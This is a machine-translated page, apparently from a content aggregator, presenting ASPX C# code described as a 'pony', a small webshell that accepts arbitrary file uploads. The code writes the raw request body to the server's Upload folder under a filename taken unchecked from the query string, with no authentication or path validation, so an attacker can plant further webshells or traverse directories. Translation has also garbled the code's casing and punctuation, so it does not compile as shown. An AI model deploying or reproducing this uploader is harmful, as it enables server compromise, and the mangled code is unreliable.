When the Aspx page receives a file stream, it becomes a pony that supports uploading arbitrary files.

Source: Internet
Author: User
Tags array to string

When the Aspx page receives a file stream, it becomes a pony that supports uploading arbitrary files.


Upload2.aspx

Using System;
Using System. Collections. Generic;
Using System. IO;
Using System. Text;
Using System. Web;
Using System. Web. UI;
Using System. Web. UI. WebControls;

Public partial class upload2: System. Web. UI. Page
{
Protected void Page_Load (object sender, EventArgs e)
{

If (Request. QueryString. Count> 0)
{
String filename = Request. QueryString ["filename"];
Encoding myEncoding = Encoding. GetEncoding ("UTF-8 ");

// Receives the transmitted data stream
Stream resStream = Request. InputStream;

Byte [] filecontent = new byte [resStream. Length];
// Read data streams into byte Arrays
ResStream. Read (filecontent, 0, filecontent. Length );
// Convert the array to string for base64 Conversion
String a = myEncoding. GetString (filecontent );
// Decrypt the string read base64 to the byte array
// Byte [] filecontent2 = Convert. FromBase64String ();
// Write directory
File. WriteAllBytes (Server. MapPath ("~ /Upload/"+ filename), filecontent );
// Return Value
// Response. Write ("OK ");
Response. End ();
}

}
}

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.